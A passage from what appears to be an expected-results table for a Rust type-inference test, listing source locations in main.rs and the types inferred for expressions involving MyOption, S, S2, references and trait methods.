main.rs:1004:5:1005:13 | S | +| main.rs:1012:16:1012:16 | S | | main.rs:1004:5:1005:13 | S | +| main.rs:1013:18:1013:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1013:26:1013:27 | x2 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1013:26:1013:27 | x2 | T | main.rs:1004:5:1005:13 | S | +| main.rs:1015:13:1015:18 | mut x3 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1015:22:1015:36 | ...::new(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1016:9:1016:10 | x3 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1016:21:1016:21 | S | | main.rs:1004:5:1005:13 | S | +| main.rs:1017:18:1017:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1017:26:1017:27 | x3 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1019:13:1019:18 | mut x4 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1019:13:1019:18 | mut x4 | T | main.rs:1004:5:1005:13 | S | +| main.rs:1019:22:1019:36 | ...::new(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1019:22:1019:36 | ...::new(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1020:23:1020:29 | &mut x4 | | file://:0:0:0:0 | & | +| main.rs:1020:23:1020:29 | &mut x4 | &T | main.rs:969:5:973:5 | MyOption | +| main.rs:1020:23:1020:29 | &mut x4 | &T.T | main.rs:1004:5:1005:13 | S | +| main.rs:1020:28:1020:29 | x4 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1020:28:1020:29 | x4 | T | main.rs:1004:5:1005:13 | S | +| main.rs:1020:32:1020:32 | S | | main.rs:1004:5:1005:13 | S | +| main.rs:1021:18:1021:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1021:26:1021:27 | x4 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1021:26:1021:27 | x4 | T | main.rs:1004:5:1005:13 | S | +| main.rs:1023:13:1023:14 | x5 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1023:13:1023:14 | x5 | T | main.rs:969:5:973:5 | MyOption | +| main.rs:1023:13:1023:14 | x5 | T.T | main.rs:1004:5:1005:13 | S | +| main.rs:1023:18:1023:58 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1023:18:1023:58 | ...::MySome(...) | T | main.rs:969:5:973:5 | MyOption | +| main.rs:1023:18:1023:58 | ...::MySome(...) | T.T | main.rs:1004:5:1005:13 | S | +| main.rs:1023:35:1023:57 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1023:35:1023:57 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1024:18:1024:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1024:26:1024:27 | x5 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1024:26:1024:27 | x5 | T | main.rs:969:5:973:5 | MyOption | +| main.rs:1024:26:1024:27 | x5 | T.T | main.rs:1004:5:1005:13 | S | +| main.rs:1024:26:1024:37 | x5.flatten() | | main.rs:969:5:973:5 | MyOption | +| main.rs:1024:26:1024:37 | x5.flatten() | T | main.rs:1004:5:1005:13 | S | +| main.rs:1026:13:1026:14 | x6 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1026:13:1026:14 | x6 | T | main.rs:969:5:973:5 | MyOption | +| main.rs:1026:13:1026:14 | x6 | T.T | main.rs:1004:5:1005:13 | S | +| main.rs:1026:18:1026:58 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1026:18:1026:58 | ...::MySome(...) | T | main.rs:969:5:973:5 | MyOption | +| main.rs:1026:18:1026:58 | ...::MySome(...) | T.T | main.rs:1004:5:1005:13 | S | +| main.rs:1026:35:1026:57 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1026:35:1026:57 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1027:18:1027:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1027:26:1027:61 | ...::flatten(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1027:26:1027:61 | ...::flatten(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1027:59:1027:60 | x6 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1027:59:1027:60 | x6 | T | main.rs:969:5:973:5 | MyOption | +| main.rs:1027:59:1027:60 | x6 | T.T | main.rs:1004:5:1005:13 | S | +| main.rs:1030:13:1030:19 | from_if | | main.rs:969:5:973:5 | MyOption | +| main.rs:1030:13:1030:19 | from_if | T | main.rs:1004:5:1005:13 | S | +| main.rs:1030:23:1034:9 | if ... {...} else {...} | | main.rs:969:5:973:5 | MyOption | +| main.rs:1030:23:1034:9 | if ... {...} else {...} | T | main.rs:1004:5:1005:13 | S | +| main.rs:1030:26:1030:26 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1030:26:1030:30 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1030:30:1030:30 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1030:32:1032:9 | { ... } | | main.rs:969:5:973:5 | MyOption | +| main.rs:1030:32:1032:9 | { ... } | T | main.rs:1004:5:1005:13 | S | +| main.rs:1031:13:1031:30 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1031:13:1031:30 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1032:16:1034:9 | { ... } | | main.rs:969:5:973:5 | MyOption | +| main.rs:1032:16:1034:9 | { ... } | T | main.rs:1004:5:1005:13 | S | +| main.rs:1033:13:1033:31 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1033:13:1033:31 | ...::MySome(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1033:30:1033:30 | S | | main.rs:1004:5:1005:13 | S | +| main.rs:1035:18:1035:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1035:26:1035:32 | from_if | | main.rs:969:5:973:5 | MyOption | +| main.rs:1035:26:1035:32 | from_if | T | main.rs:1004:5:1005:13 | S | +| main.rs:1038:13:1038:22 | from_match | | main.rs:969:5:973:5 | MyOption | +| main.rs:1038:13:1038:22 | from_match | T | main.rs:1004:5:1005:13 | S | +| main.rs:1038:26:1041:9 | match ... { ... } | | main.rs:969:5:973:5 | MyOption | +| main.rs:1038:26:1041:9 | match ... { ... } | T | main.rs:1004:5:1005:13 | S | +| main.rs:1038:32:1038:32 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1038:32:1038:36 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1038:36:1038:36 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1039:13:1039:16 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:1039:21:1039:38 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1039:21:1039:38 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1040:13:1040:17 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:1040:22:1040:40 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1040:22:1040:40 | ...::MySome(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1040:39:1040:39 | S | | main.rs:1004:5:1005:13 | S | +| main.rs:1042:18:1042:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1042:26:1042:35 | from_match | | main.rs:969:5:973:5 | MyOption | +| main.rs:1042:26:1042:35 | from_match | T | main.rs:1004:5:1005:13 | S | +| main.rs:1045:13:1045:21 | from_loop | | main.rs:969:5:973:5 | MyOption | +| main.rs:1045:13:1045:21 | from_loop | T | main.rs:1004:5:1005:13 | S | +| main.rs:1045:25:1050:9 | loop { ... } | | main.rs:969:5:973:5 | MyOption | +| main.rs:1045:25:1050:9 | loop { ... } | T | main.rs:1004:5:1005:13 | S | +| main.rs:1046:16:1046:16 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1046:16:1046:20 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1046:20:1046:20 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1047:23:1047:40 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1047:23:1047:40 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1049:19:1049:37 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1049:19:1049:37 | ...::MySome(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1049:36:1049:36 | S | | main.rs:1004:5:1005:13 | S | +| main.rs:1051:18:1051:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1051:26:1051:34 | from_loop | | main.rs:969:5:973:5 | MyOption | +| main.rs:1051:26:1051:34 | from_loop | T | main.rs:1004:5:1005:13 | S | +| main.rs:1064:15:1064:18 | SelfParam | | main.rs:1057:5:1058:19 | S | +| main.rs:1064:15:1064:18 | SelfParam | T | main.rs:1063:10:1063:10 | T | +| main.rs:1064:26:1066:9 | { ... } | | main.rs:1063:10:1063:10 | T | +| main.rs:1065:13:1065:16 | self | | main.rs:1057:5:1058:19 | S | +| main.rs:1065:13:1065:16 | self | T | main.rs:1063:10:1063:10 | T | +| main.rs:1065:13:1065:18 | self.0 | | main.rs:1063:10:1063:10 | T | +| main.rs:1068:15:1068:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1068:15:1068:19 | SelfParam | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1068:15:1068:19 | SelfParam | &T.T | main.rs:1063:10:1063:10 | T | +| main.rs:1068:28:1070:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1068:28:1070:9 | { ... } | &T | main.rs:1063:10:1063:10 | T | +| main.rs:1069:13:1069:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1069:13:1069:19 | &... | &T | main.rs:1063:10:1063:10 | T | +| main.rs:1069:14:1069:17 | self | | file://:0:0:0:0 | & | +| main.rs:1069:14:1069:17 | self | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1069:14:1069:17 | self | &T.T | main.rs:1063:10:1063:10 | T | +| main.rs:1069:14:1069:19 | self.0 | | main.rs:1063:10:1063:10 | T | +| main.rs:1072:15:1072:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1072:15:1072:25 | SelfParam | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1072:15:1072:25 | SelfParam | &T.T | main.rs:1063:10:1063:10 | T | +| main.rs:1072:34:1074:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1072:34:1074:9 | { ... } | &T | main.rs:1063:10:1063:10 | T | +| main.rs:1073:13:1073:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1073:13:1073:19 | &... | &T | main.rs:1063:10:1063:10 | T | +| main.rs:1073:14:1073:17 | self | | file://:0:0:0:0 | & | +| main.rs:1073:14:1073:17 | self | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1073:14:1073:17 | self | &T.T | main.rs:1063:10:1063:10 | T | +| main.rs:1073:14:1073:19 | self.0 | | main.rs:1063:10:1063:10 | T | +| main.rs:1078:13:1078:14 | x1 | | main.rs:1057:5:1058:19 | S | +| main.rs:1078:13:1078:14 | x1 | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1078:18:1078:22 | S(...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1078:18:1078:22 | S(...) | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1078:20:1078:21 | S2 | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1079:18:1079:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1079:26:1079:27 | x1 | | main.rs:1057:5:1058:19 | S | +| main.rs:1079:26:1079:27 | x1 | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1079:26:1079:32 | x1.m1() | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1081:13:1081:14 | x2 | | main.rs:1057:5:1058:19 | S | +| main.rs:1081:13:1081:14 | x2 | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1081:18:1081:22 | S(...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1081:18:1081:22 | S(...) | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1081:20:1081:21 | S2 | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1083:18:1083:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1083:26:1083:27 | x2 | | main.rs:1057:5:1058:19 | S | +| main.rs:1083:26:1083:27 | x2 | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1083:26:1083:32 | x2.m2() | | file://:0:0:0:0 | & | +| main.rs:1083:26:1083:32 | x2.m2() | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1084:18:1084:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1084:26:1084:27 | x2 | | main.rs:1057:5:1058:19 | S | +| main.rs:1084:26:1084:27 | x2 | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1084:26:1084:32 | x2.m3() | | file://:0:0:0:0 | & | +| main.rs:1084:26:1084:32 | x2.m3() | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1086:13:1086:14 | x3 | | main.rs:1057:5:1058:19 | S | +| main.rs:1086:13:1086:14 | x3 | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1086:18:1086:22 | S(...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1086:18:1086:22 | S(...) | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1086:20:1086:21 | S2 | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1088:18:1088:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1088:26:1088:41 | ...::m2(...) | | file://:0:0:0:0 | & | +| main.rs:1088:26:1088:41 | ...::m2(...) | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1088:38:1088:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:1088:38:1088:40 | &x3 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1088:38:1088:40 | &x3 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1088:39:1088:40 | x3 | | main.rs:1057:5:1058:19 | S | +| main.rs:1088:39:1088:40 | x3 | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1089:18:1089:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1089:26:1089:41 | ...::m3(...) | | file://:0:0:0:0 | & | +| main.rs:1089:26:1089:41 | ...::m3(...) | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1089:38:1089:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:1089:38:1089:40 | &x3 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1089:38:1089:40 | &x3 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1089:39:1089:40 | x3 | | main.rs:1057:5:1058:19 | S | +| main.rs:1089:39:1089:40 | x3 | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1091:13:1091:14 | x4 | | file://:0:0:0:0 | & | +| main.rs:1091:13:1091:14 | x4 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1091:13:1091:14 | x4 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1091:18:1091:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1091:18:1091:23 | &... | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1091:18:1091:23 | &... | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1091:19:1091:23 | S(...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1091:19:1091:23 | S(...) | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1091:21:1091:22 | S2 | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1093:18:1093:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1093:26:1093:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:1093:26:1093:27 | x4 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1093:26:1093:27 | x4 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1093:26:1093:32 | x4.m2() | | file://:0:0:0:0 | & | +| main.rs:1093:26:1093:32 | x4.m2() | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1094:18:1094:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1094:26:1094:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:1094:26:1094:27 | x4 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1094:26:1094:27 | x4 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1094:26:1094:32 | x4.m3() | | file://:0:0:0:0 | & | +| main.rs:1094:26:1094:32 | x4.m3() | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1096:13:1096:14 | x5 | | file://:0:0:0:0 | & | +| main.rs:1096:13:1096:14 | x5 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1096:13:1096:14 | x5 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1096:18:1096:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1096:18:1096:23 | &... | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1096:18:1096:23 | &... | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1096:19:1096:23 | S(...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1096:19:1096:23 | S(...) | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1096:21:1096:22 | S2 | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1098:18:1098:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1098:26:1098:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:1098:26:1098:27 | x5 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1098:26:1098:27 | x5 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1098:26:1098:32 | x5.m1() | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1099:18:1099:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1099:26:1099:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:1099:26:1099:27 | x5 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1099:26:1099:27 | x5 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1099:26:1099:29 | x5.0 | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1101:13:1101:14 | x6 | | file://:0:0:0:0 | & | +| main.rs:1101:13:1101:14 | x6 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1101:13:1101:14 | x6 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1101:18:1101:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1101:18:1101:23 | &... | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1101:18:1101:23 | &... | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1101:19:1101:23 | S(...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1101:19:1101:23 | S(...) | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1101:21:1101:22 | S2 | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1103:18:1103:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1103:26:1103:30 | (...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1103:26:1103:30 | (...) | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1103:26:1103:35 | ... .m1() | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1103:27:1103:29 | * ... | | main.rs:1057:5:1058:19 | S | +| main.rs:1103:27:1103:29 | * ... | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1103:28:1103:29 | x6 | | file://:0:0:0:0 | & | +| main.rs:1103:28:1103:29 | x6 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1103:28:1103:29 | x6 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1105:13:1105:14 | x7 | | main.rs:1057:5:1058:19 | S | +| main.rs:1105:13:1105:14 | x7 | T | file://:0:0:0:0 | & | +| main.rs:1105:13:1105:14 | x7 | T.&T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1105:18:1105:23 | S(...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1105:18:1105:23 | S(...) | T | file://:0:0:0:0 | & | +| main.rs:1105:18:1105:23 | S(...) | T.&T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1105:20:1105:22 | &S2 | | file://:0:0:0:0 | & | +| main.rs:1105:20:1105:22 | &S2 | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1105:21:1105:22 | S2 | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1108:13:1108:13 | t | | file://:0:0:0:0 | & | +| main.rs:1108:13:1108:13 | t | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1108:17:1108:18 | x7 | | main.rs:1057:5:1058:19 | S | +| main.rs:1108:17:1108:18 | x7 | T | file://:0:0:0:0 | & | +| main.rs:1108:17:1108:18 | x7 | T.&T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1108:17:1108:23 | x7.m1() | | file://:0:0:0:0 | & | +| main.rs:1108:17:1108:23 | x7.m1() | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1109:18:1109:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | +| main.rs:1109:26:1109:27 | x7 | | main.rs:1057:5:1058:19 | S | +| main.rs:1109:26:1109:27 | x7 | T | file://:0:0:0:0 | & | +| main.rs:1109:26:1109:27 | x7 | T.&T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1116:16:1116:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1116:16:1116:20 | SelfParam | &T | main.rs:1114:5:1122:5 | Self [trait MyTrait] | +| main.rs:1119:16:1119:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1119:16:1119:20 | SelfParam | &T | main.rs:1114:5:1122:5 | Self [trait MyTrait] | +| main.rs:1119:32:1121:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1119:32:1121:9 | { ... } | &T | main.rs:1114:5:1122:5 | Self [trait MyTrait] | +| main.rs:1120:13:1120:16 | self | | file://:0:0:0:0 | & | +| main.rs:1120:13:1120:16 | self | &T | main.rs:1114:5:1122:5 | Self [trait MyTrait] | +| main.rs:1120:13:1120:22 | self.foo() | | file://:0:0:0:0 | & | +| main.rs:1120:13:1120:22 | self.foo() | &T | main.rs:1114:5:1122:5 | Self [trait MyTrait] | +| main.rs:1128:16:1128:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1128:16:1128:20 | SelfParam | &T | main.rs:1124:5:1124:20 | MyStruct | +| main.rs:1128:36:1130:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1128:36:1130:9 | { ... } | &T | main.rs:1124:5:1124:20 | MyStruct | +| main.rs:1129:13:1129:16 | self | | file://:0:0:0:0 | & | +| main.rs:1129:13:1129:16 | self | &T | main.rs:1124:5:1124:20 | MyStruct | +| main.rs:1134:13:1134:13 | x | | main.rs:1124:5:1124:20 | MyStruct | +| main.rs:1134:17:1134:24 | MyStruct | | main.rs:1124:5:1124:20 | MyStruct | +| main.rs:1135:9:1135:9 | x | | main.rs:1124:5:1124:20 | MyStruct | +| main.rs:1135:9:1135:15 | x.bar() | | file://:0:0:0:0 | & | +| main.rs:1135:9:1135:15 | x.bar() | &T | main.rs:1124:5:1124:20 | MyStruct | +| main.rs:1145:16:1145:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1145:16:1145:20 | SelfParam | &T | main.rs:1142:5:1142:26 | MyStruct | +| main.rs:1145:16:1145:20 | SelfParam | &T.T | main.rs:1144:10:1144:10 | T | +| main.rs:1145:32:1147:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1145:32:1147:9 | { ... } | &T | main.rs:1142:5:1142:26 | MyStruct | +| main.rs:1145:32:1147:9 | { ... } | &T.T | main.rs:1144:10:1144:10 | T | +| main.rs:1146:13:1146:16 | self | | file://:0:0:0:0 | & | +| main.rs:1146:13:1146:16 | self | &T | main.rs:1142:5:1142:26 | MyStruct | +| main.rs:1146:13:1146:16 | self | &T.T | main.rs:1144:10:1144:10 | T | +| main.rs:1151:13:1151:13 | x | | main.rs:1142:5:1142:26 | MyStruct | +| main.rs:1151:13:1151:13 | x | T | main.rs:1140:5:1140:13 | S | +| main.rs:1151:17:1151:27 | MyStruct(...) | | main.rs:1142:5:1142:26 | MyStruct | +| main.rs:1151:17:1151:27 | MyStruct(...) | T | main.rs:1140:5:1140:13 | S | +| main.rs:1151:26:1151:26 | S | | main.rs:1140:5:1140:13 | S | +| main.rs:1152:9:1152:9 | x | | main.rs:1142:5:1142:26 | MyStruct | +| main.rs:1152:9:1152:9 | x | T | main.rs:1140:5:1140:13 | S | +| main.rs:1152:9:1152:15 | x.foo() | | file://:0:0:0:0 | & | +| main.rs:1152:9:1152:15 | x.foo() | &T | main.rs:1142:5:1142:26 | MyStruct | +| main.rs:1152:9:1152:15 | x.foo() | &T.T | main.rs:1140:5:1140:13 | S | +| main.rs:1160:15:1160:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1160:15:1160:19 | SelfParam | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1160:31:1162:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1160:31:1162:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1161:13:1161:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1161:13:1161:19 | &... | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1161:14:1161:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1161:14:1161:19 | &... | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1161:15:1161:19 | &self | | file://:0:0:0:0 | & | +| main.rs:1161:15:1161:19 | &self | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1161:16:1161:19 | self | | file://:0:0:0:0 | & | +| main.rs:1161:16:1161:19 | self | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1164:15:1164:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1164:15:1164:25 | SelfParam | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1164:37:1166:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1164:37:1166:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1165:13:1165:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1165:13:1165:19 | &... | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1165:14:1165:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1165:14:1165:19 | &... | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1165:15:1165:19 | &self | | file://:0:0:0:0 | & | +| main.rs:1165:15:1165:19 | &self | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1165:16:1165:19 | self | | file://:0:0:0:0 | & | +| main.rs:1165:16:1165:19 | self | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1168:15:1168:15 | x | | file://:0:0:0:0 | & | +| main.rs:1168:15:1168:15 | x | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1168:34:1170:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1168:34:1170:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1169:13:1169:13 | x | | file://:0:0:0:0 | & | +| main.rs:1169:13:1169:13 | x | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1172:15:1172:15 | x | | file://:0:0:0:0 | & | +| main.rs:1172:15:1172:15 | x | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1172:34:1174:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1172:34:1174:9 | { ... } | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1173:13:1173:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1173:13:1173:16 | &... | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1173:14:1173:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1173:14:1173:16 | &... | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1173:15:1173:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1173:15:1173:16 | &x | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1173:16:1173:16 | x | | file://:0:0:0:0 | & | +| main.rs:1173:16:1173:16 | x | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1178:13:1178:13 | x | | main.rs:1157:5:1157:13 | S | +| main.rs:1178:17:1178:20 | S {...} | | main.rs:1157:5:1157:13 | S | +| main.rs:1179:9:1179:9 | x | | main.rs:1157:5:1157:13 | S | +| main.rs:1179:9:1179:14 | x.f1() | | file://:0:0:0:0 | & | +| main.rs:1179:9:1179:14 | x.f1() | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1180:9:1180:9 | x | | main.rs:1157:5:1157:13 | S | +| main.rs:1180:9:1180:14 | x.f2() | | file://:0:0:0:0 | & | +| main.rs:1180:9:1180:14 | x.f2() | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1181:9:1181:17 | ...::f3(...) | | file://:0:0:0:0 | & | +| main.rs:1181:9:1181:17 | ...::f3(...) | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1181:15:1181:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1181:15:1181:16 | &x | &T | main.rs:1157:5:1157:13 | S | +| main.rs:1181:16:1181:16 | x | | main.rs:1157:5:1157:13 | S | +| main.rs:1195:43:1198:5 | { ... } | | {EXTERNAL 